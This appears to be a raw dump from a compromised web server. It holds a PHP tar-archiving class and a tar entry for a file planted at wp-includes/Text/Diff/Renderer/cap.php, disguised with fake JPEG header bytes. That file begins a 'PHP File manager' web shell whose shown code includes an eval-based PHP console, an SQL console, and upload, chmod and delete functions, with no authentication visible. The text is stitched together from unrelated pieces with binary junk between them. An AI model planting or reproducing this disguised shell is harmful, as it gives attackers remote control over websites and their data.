				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
